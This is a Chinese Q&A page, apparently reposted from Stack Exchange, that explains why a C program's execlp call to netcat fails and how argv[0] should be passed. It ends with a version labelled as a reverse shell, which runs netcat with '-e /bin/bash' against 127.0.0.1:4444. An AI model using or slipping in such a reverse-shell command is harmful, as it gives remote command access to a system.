You need to enable JavaScript to run this app.
优惠活动
大模型
产品
解决方案
定价
更多

C语言调用execlp执行netcat报错:Error: no ports specified for connection

问题分析与解决

我一眼就看出问题出在execlp的参数传递逻辑上!

核心问题:execlp的参数规则理解错误

execlp函数的参数格式是:

int execlp(const char *file, const char *arg, ..., (char *) NULL);

其中第二个参数arg对应的是程序运行时的**argv[0]**——也就是命令本身的名称(通常和第一个参数的程序名一致),而不是第一个命令行参数。

你原来的代码把"127.0.0.1"作为argv[0]传递给了netcat,导致netcat接收到的参数列表完全错位:

  • argv[0] = "127.0.0.1"
  • argv[1] = "4444"

对于netcat来说,它期望的参数格式是netcat <地址> <端口>,现在它会把"127.0.0.1"当成命令名,"4444"当成唯一的参数,自然会报错“no ports specified for connection”。

修正后的代码

只需要补充上正确的argv[0]参数即可:

#include <unistd.h>
int main() { 
    // 第二个参数是argv[0],对应命令名"netcat",之后才是真正的连接参数
    execlp("/usr/bin/netcat", "netcat", "127.0.0.1", "4444", (char *)NULL); 
    // 注意最后必须以(char*)NULL结尾,标记参数列表结束
    return 0;
}

如果习惯用nc作为命令别名,也可以写成:

execlp("/usr/bin/netcat", "nc", "127.0.0.1", "4444", (char *)NULL);

带-e /bin/bash的版本

如果需要添加反向shell的参数,只需要在参数列表里追加即可:

#include <unistd.h>
int main() { 
    execlp("/usr/bin/netcat", "netcat", "127.0.0.1", "4444", "-e", "/bin/bash", (char *)NULL); 
    return 0;
}

为什么终端直接执行没问题?

当你在终端输入netcat 127.0.0.1 4444时,shell会自动帮你构造正确的argv数组:

  • argv[0] = "netcat"
  • argv[1] = "127.0.0.1"
  • argv[2] = "4444"
    这和我们修正后的代码逻辑一致,所以能正常运行。

内容的提问来源于stack exchange,提问作者vcapra1

相关产品推荐
方舟 Agent Plan

超全模态模型 × Harness 升级,最新支持 Deepseek-V4.1-Flash、GLM-5.3 系列、Doubao-Seedream-5.0-pro、Kimi-K3 (部分), 限时 9.9 元起

最近更新时间:2026.05.13 06:29:07